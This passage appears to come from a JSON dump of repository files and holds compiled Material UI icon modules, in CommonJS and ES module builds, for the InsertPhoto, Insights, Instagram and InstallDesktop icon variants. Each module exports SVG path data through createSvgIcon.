    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-4.86 8.86-3 3.87L9 13.14 6 17h12z\"\n}), 'InsertPhotoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertPhotoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 19V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2M8.9 13.98l2.1 2.53 3.1-3.99c.2-.26.6-.26.8.01l3.51 4.68c.25.33.01.8-.4.8H6.02c-.42 0-.65-.48-.39-.81L8.12 14c.19-.26.57-.27.78-.02\"\n}), 'InsertPhotoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertPhotoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 19V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2M8.9 13.98l2.1 2.53 3.1-3.99c.2-.26.6-.26.8.01l3.51 4.68c.25.33.01.8-.4.8H6.02c-.42 0-.65-.48-.39-.81L8.12 14c.19-.26.57-.27.78-.02\"\n}), 'InsertPhotoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertPhotoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 21V3H3v18zM8.5 13.5l2.5 3.01L14.5 12l4.5 6H5z\"\n}), 'InsertPhotoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertPhotoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 21V3H3v18zM8.5 13.5l2.5 3.01L14.5 12l4.5 6H5z\"\n}), 'InsertPhotoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertPhotoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm4-5.86 2.14 2.58 3-3.87L18 17H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m16 14H5V5h14zm-4.86-7.14-3 3.86L9 13.14 6 17h12z\"\n}, \"1\")], 'InsertPhotoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertPhotoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm4-5.86 2.14 2.58 3-3.87L18 17H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m16 14H5V5h14zm-4.86-7.14-3 3.86L9 13.14 6 17h12z\"\n}, \"1\")], 'InsertPhotoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Insights.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 8c-1.45 0-2.26 1.44-1.93 2.51l-3.55 3.56c-.3-.09-.74-.09-1.04 0l-2.55-2.55C12.27 10.45 11.46 9 10 9c-1.45 0-2.27 1.44-1.93 2.52l-4.56 4.55C2.44 15.74 1 16.55 1 18c0 1.1.9 2 2 2 1.45 0 2.26-1.44 1.93-2.51l4.55-4.56c.3.09.74.09 1.04 0l2.55 2.55C12.73 16.55 13.54 18 15 18c1.45 0 2.27-1.44 1.93-2.52l3.56-3.55c1.07.33 2.51-.48 2.51-1.93 0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15 9 .94-2.07L18 6l-2.06-.93L15 3l-.92 2.07L12 6l2.08.93zM3.5 11 4 9l2-.5L4 8l-.5-2L3 8l-2 .5L3 9z\"\n}, \"1\")], 'Insights');"
  },
  {
    "path": "packages/mui-icons-material/lib/Insights.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 8c-1.45 0-2.26 1.44-1.93 2.51l-3.55 3.56c-.3-.09-.74-.09-1.04 0l-2.55-2.55C12.27 10.45 11.46 9 10 9c-1.45 0-2.27 1.44-1.93 2.52l-4.56 4.55C2.44 15.74 1 16.55 1 18c0 1.1.9 2 2 2 1.45 0 2.26-1.44 1.93-2.51l4.55-4.56c.3.09.74.09 1.04 0l2.55 2.55C12.73 16.55 13.54 18 15 18c1.45 0 2.27-1.44 1.93-2.52l3.56-3.55c1.07.33 2.51-.48 2.51-1.93 0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15 9 .94-2.07L18 6l-2.06-.93L15 3l-.92 2.07L12 6l2.08.93zM3.5 11 4 9l2-.5L4 8l-.5-2L3 8l-2 .5L3 9z\"\n}, \"1\")], 'Insights');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsightsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 8c-1.45 0-2.26 1.44-1.93 2.51l-3.55 3.56c-.3-.09-.74-.09-1.04 0l-2.55-2.55C12.27 10.45 11.46 9 10 9c-1.45 0-2.27 1.44-1.93 2.52l-4.56 4.55C2.44 15.74 1 16.55 1 18c0 1.1.9 2 2 2 1.45 0 2.26-1.44 1.93-2.51l4.55-4.56c.3.09.74.09 1.04 0l2.55 2.55C12.73 16.55 13.54 18 15 18c1.45 0 2.27-1.44 1.93-2.52l3.56-3.55c1.07.33 2.51-.48 2.51-1.93 0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15 9 .94-2.07L18 6l-2.06-.93L15 3l-.92 2.07L12 6l2.08.93zM3.5 11 4 9l2-.5L4 8l-.5-2L3 8l-2 .5L3 9z\"\n}, \"1\")], 'InsightsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsightsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 8c-1.45 0-2.26 1.44-1.93 2.51l-3.55 3.56c-.3-.09-.74-.09-1.04 0l-2.55-2.55C12.27 10.45 11.46 9 10 9c-1.45 0-2.27 1.44-1.93 2.52l-4.56 4.55C2.44 15.74 1 16.55 1 18c0 1.1.9 2 2 2 1.45 0 2.26-1.44 1.93-2.51l4.55-4.56c.3.09.74.09 1.04 0l2.55 2.55C12.73 16.55 13.54 18 15 18c1.45 0 2.27-1.44 1.93-2.52l3.56-3.55c1.07.33 2.51-.48 2.51-1.93 0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15 9 .94-2.07L18 6l-2.06-.93L15 3l-.92 2.07L12 6l2.08.93zM3.5 11 4 9l2-.5L4 8l-.5-2L3 8l-2 .5L3 9z\"\n}, \"1\")], 'InsightsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsightsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 8c-1.45 0-2.26 1.44-1.93 2.51l-3.55 3.56c-.3-.09-.74-.09-1.04 0l-2.55-2.55C12.27 10.45 11.46 9 10 9c-1.45 0-2.27 1.44-1.93 2.52l-4.56 4.55C2.44 15.74 1 16.55 1 18c0 1.1.9 2 2 2 1.45 0 2.26-1.44 1.93-2.51l4.55-4.56c.3.09.74.09 1.04 0l2.55 2.55C12.73 16.55 13.54 18 15 18c1.45 0 2.27-1.44 1.93-2.52l3.56-3.55c1.07.33 2.51-.48 2.51-1.93 0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15 9 .94-2.07L18 6l-2.06-.93L15 3l-.92 2.07L12 6l2.08.93zM3.5 11 4 9l2-.5L4 8l-.5-2L3 8l-2 .5L3 9z\"\n}, \"1\")], 'InsightsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsightsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 8c-1.45 0-2.26 1.44-1.93 2.51l-3.55 3.56c-.3-.09-.74-.09-1.04 0l-2.55-2.55C12.27 10.45 11.46 9 10 9c-1.45 0-2.27 1.44-1.93 2.52l-4.56 4.55C2.44 15.74 1 16.55 1 18c0 1.1.9 2 2 2 1.45 0 2.26-1.44 1.93-2.51l4.55-4.56c.3.09.74.09 1.04 0l2.55 2.55C12.73 16.55 13.54 18 15 18c1.45 0 2.27-1.44 1.93-2.52l3.56-3.55c1.07.33 2.51-.48 2.51-1.93 0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15 9 .94-2.07L18 6l-2.06-.93L15 3l-.92 2.07L12 6l2.08.93zM3.5 11 4 9l2-.5L4 8l-.5-2L3 8l-2 .5L3 9z\"\n}, \"1\")], 'InsightsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsightsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 8c-1.45 0-2.26 1.44-1.93 2.51l-3.55 3.56c-.3-.09-.74-.09-1.04 0l-2.55-2.55C12.27 10.45 11.46 9 10 9c-1.45 0-2.27 1.44-1.93 2.52l-4.56 4.55C2.44 15.74 1 16.55 1 18c0 1.1.9 2 2 2 1.45 0 2.26-1.44 1.93-2.51l4.55-4.56c.3.09.74.09 1.04 0l2.55 2.55C12.73 16.55 13.54 18 15 18c1.45 0 2.27-1.44 1.93-2.52l3.56-3.55c1.07.33 2.51-.48 2.51-1.93 0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15 9 .94-2.07L18 6l-2.06-.93L15 3l-.92 2.07L12 6l2.08.93zM3.5 11 4 9l2-.5L4 8l-.5-2L3 8l-2 .5L3 9z\"\n}, \"1\")], 'InsightsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsightsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 8c-1.45 0-2.26 1.44-1.93 2.51l-3.55 3.56c-.3-.09-.74-.09-1.04 0l-2.55-2.55C12.27 10.45 11.46 9 10 9c-1.45 0-2.27 1.44-1.93 2.52l-4.56 4.55C2.44 15.74 1 16.55 1 18c0 1.1.9 2 2 2 1.45 0 2.26-1.44 1.93-2.51l4.55-4.56c.3.09.74.09 1.04 0l2.55 2.55C12.73 16.55 13.54 18 15 18c1.45 0 2.27-1.44 1.93-2.52l3.56-3.55c1.07.33 2.51-.48 2.51-1.93 0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15 9 .94-2.07L18 6l-2.06-.93L15 3l-.92 2.07L12 6l2.08.93zM3.5 11 4 9l2-.5L4 8l-.5-2L3 8l-2 .5L3 9z\"\n}, \"1\")], 'InsightsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsightsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 8c-1.45 0-2.26 1.44-1.93 2.51l-3.55 3.56c-.3-.09-.74-.09-1.04 0l-2.55-2.55C12.27 10.45 11.46 9 10 9c-1.45 0-2.27 1.44-1.93 2.52l-4.56 4.55C2.44 15.74 1 16.55 1 18c0 1.1.9 2 2 2 1.45 0 2.26-1.44 1.93-2.51l4.55-4.56c.3.09.74.09 1.04 0l2.55 2.55C12.73 16.55 13.54 18 15 18c1.45 0 2.27-1.44 1.93-2.52l3.56-3.55c1.07.33 2.51-.48 2.51-1.93 0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15 9 .94-2.07L18 6l-2.06-.93L15 3l-.92 2.07L12 6l2.08.93zM3.5 11 4 9l2-.5L4 8l-.5-2L3 8l-2 .5L3 9z\"\n}, \"1\")], 'InsightsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsightsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 8c-1.45 0-2.26 1.44-1.93 2.51l-3.55 3.56c-.3-.09-.74-.09-1.04 0l-2.55-2.55C12.27 10.45 11.46 9 10 9c-1.45 0-2.27 1.44-1.93 2.52l-4.56 4.55C2.44 15.74 1 16.55 1 18c0 1.1.9 2 2 2 1.45 0 2.26-1.44 1.93-2.51l4.55-4.56c.3.09.74.09 1.04 0l2.55 2.55C12.73 16.55 13.54 18 15 18c1.45 0 2.27-1.44 1.93-2.52l3.56-3.55c1.07.33 2.51-.48 2.51-1.93 0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15 9 .94-2.07L18 6l-2.06-.93L15 3l-.92 2.07L12 6l2.08.93zM3.5 11 4 9l2-.5L4 8l-.5-2L3 8l-2 .5L3 9z\"\n}, \"1\")], 'InsightsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Instagram.js",
    "content": "\"use strict\";\n'use client';\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.8 2h8.4C19.4 2 22 4.6 22 7.8v8.4a5.8 5.8 0 0 1-5.8 5.8H7.8C4.6 22 2 19.4 2 16.2V7.8A5.8 5.8 0 0 1 7.8 2m-.2 2A3.6 3.6 0 0 0 4 7.6v8.8C4 18.39 5.61 20 7.6 20h8.8a3.6 3.6 0 0 0 3.6-3.6V7.6C20 5.61 18.39 4 16.4 4H7.6m9.65 1.5a1.25 1.25 0 0 1 1.25 1.25A1.25 1.25 0 0 1 17.25 8 1.25 1.25 0 0 1 16 6.75a1.25 1.25 0 0 1 1.25-1.25M12 7a5 5 0 0 1 5 5 5 5 0 0 1-5 5 5 5 0 0 1-5-5 5 5 0 0 1 5-5m0 2a3 3 0 0 0-3 3 3 3 0 0 0 3 3 3 3 0 0 0 3-3 3 3 0 0 0-3-3z\"\n}), 'Instagram');"
  },
  {
    "path": "packages/mui-icons-material/lib/Instagram.mjs",
    "content": "'use client';\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.8 2h8.4C19.4 2 22 4.6 22 7.8v8.4a5.8 5.8 0 0 1-5.8 5.8H7.8C4.6 22 2 19.4 2 16.2V7.8A5.8 5.8 0 0 1 7.8 2m-.2 2A3.6 3.6 0 0 0 4 7.6v8.8C4 18.39 5.61 20 7.6 20h8.8a3.6 3.6 0 0 0 3.6-3.6V7.6C20 5.61 18.39 4 16.4 4H7.6m9.65 1.5a1.25 1.25 0 0 1 1.25 1.25A1.25 1.25 0 0 1 17.25 8 1.25 1.25 0 0 1 16 6.75a1.25 1.25 0 0 1 1.25-1.25M12 7a5 5 0 0 1 5 5 5 5 0 0 1-5 5 5 5 0 0 1-5-5 5 5 0 0 1 5-5m0 2a3 3 0 0 0-3 3 3 3 0 0 0 3 3 3 3 0 0 0 3-3 3 3 0 0 0-3-3z\"\n}), 'Instagram');"
  },
  {
    "path": "packages/mui-icons-material/lib/InstallDesktop.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 17H4V5h8V3H4c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h4v2h8v-2h4c1.1 0 2-.9 2-2v-3h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 14 5-5-1.41-1.41L18 10.17V3h-2v7.17l-2.59-2.58L12 9z\"\n}, \"1\")], 'InstallDesktop');"
  },
  {
    "path": "packages/mui-icons-material/lib/InstallDesktop.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 17H4V5h8V3H4c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h4v2h8v-2h4c1.1 0 2-.9 2-2v-3h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 14 5-5-1.41-1.41L18 10.17V3h-2v7.17l-2.59-2.58L12 9z\"\n}, \"1\")], 'InstallDesktop');"
  },
  {
    "path": "packages/mui-icons-material/lib/InstallDesktopOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 17H4V5h8V3H4c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h4v2h8v-2h4c1.1 0 2-.9 2-2v-3h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 14 5-5-1.41-1.41L18 10.17V3h-2v7.17l-2.59-2.58L12 9z\"\n}, \"1\")], 'InstallDesktopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InstallDesktopOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 17H4V5h8V3H4c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h4v2h8v-2h4c1.1 0 2-.9 2-2v-3h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 14 5-5-1.41-1.41L18 10.17V3h-2v7.17l-2.59-2.58L12 9z\"\n}, \"1\")], 'InstallDesktopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InstallDesktopRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 17H4V5h8V3H4c-1.1 0-2 .9-2 2v12c0 1.1.89 2 2 2h4v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h4c1.1 0 2-.9 2-2v-3h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.71 13.29 21.3 9.7c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L18 10.17V4c0-.55-.45-1-1-1s-1 .45-1 1v6.17l-1.89-1.88a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l3.59 3.59c.4.39 1.03.39 1.42 0\"\n}, \"1\")], 'InstallDesktopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InstallDesktopRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 17H4V5h8V3H4c-1.1 0-2 .9-2 2v12c0 1.1.89 2 2 2h4v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h4c1.1 0 2-.9 2-2v-3h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.71 13.29 21.3 9.7c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L18 10.17V4c0-.55-.45-1-1-1s-1 .45-1 1v6.17l-1.89-1.88a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l3.59 3.59c.4.39 1.03.39 1.42 0\"\n}, \"1\")], 'InstallDesktopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InstallDesktopSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 17H4V5h8V3H2v16h6v2h8v-2h6v-5h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 14 5-5-1.41-1.41L18 10.17V3h-2v7.17l-2.59-2.58L12 9z\"\n}, \"1\")], 'InstallDesktopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InstallDesktopSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 17H4V5h8V3H2v16h6v2h8v-2h6v-5h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 14 5-5-1.41-1.41L18 10.17V3h-2v7.17l-2.59-2.58L12 9z\"\n}, \"1\")], 'InstallDesktopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InstallDesktopTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.83 9 16 10.17zM4 17h16v-3.17l-3 3L9.17 9 13 5.17V5H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 17H4V5h9V3H4c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h4v2h8v-2h4c1.1 0 2-.9 2-2v-5.17l-2 2z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10.17V3h-2v7.17l-2.59-2.58L12 9l5 5 5-5-1.41-1.41z\"\n}, \"2\")], 'InstallDesktopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InstallDesktopTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.83 9 16 10.17zM4 17h16v-3.17l-3 3L9.17 9 13 5.17V5H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 17H4V5h9V3H4c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h4v2h8v-2h4c1.1 0 2-.9 2-2v-5.17l-2 2z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10.17V3h-2v7.17l-2.59-2.58L12 9l5 5 5-5-1.41-1.41z\"\n}, \"2\")], 'InstallDesktopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InstallMobile.js",
